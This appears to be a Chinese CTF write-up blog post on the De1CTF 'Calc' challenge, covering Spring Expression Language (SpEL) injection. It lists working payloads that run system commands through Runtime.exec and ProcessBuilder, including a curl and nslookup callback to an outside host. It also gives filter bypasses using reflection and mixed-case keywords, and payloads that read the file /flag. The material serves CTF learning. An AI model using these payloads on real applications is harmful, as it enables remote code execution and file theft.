De1CTF Calc

Spel注入

我觉得我讲的不会比这篇文章更好了由浅入深SpEL表达式注入漏洞

总结一下

  • T()运算符会调用类作用域的方法和常量
  • 使用new可以直接在SpEL中创建实例

常用payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
''.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')

bypass

反射机制

要执行代码肯定要实例化类的,当newT被过滤的时候可以用java的反射机制来获取类

''.class.forName('java.nio.file.Files')
''.getClass().forName('java.lang.Runtime')

getDeclaredMethods()方法可以获得类中的方法

exp

''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))

大小写

nEw java.io.BufferedReader(nEw java.io.FileReader("/flag")).readLine()
posted @ 2020-05-07 02:17  MustaphaMond  阅读(686)  评论(0编辑  收藏  举报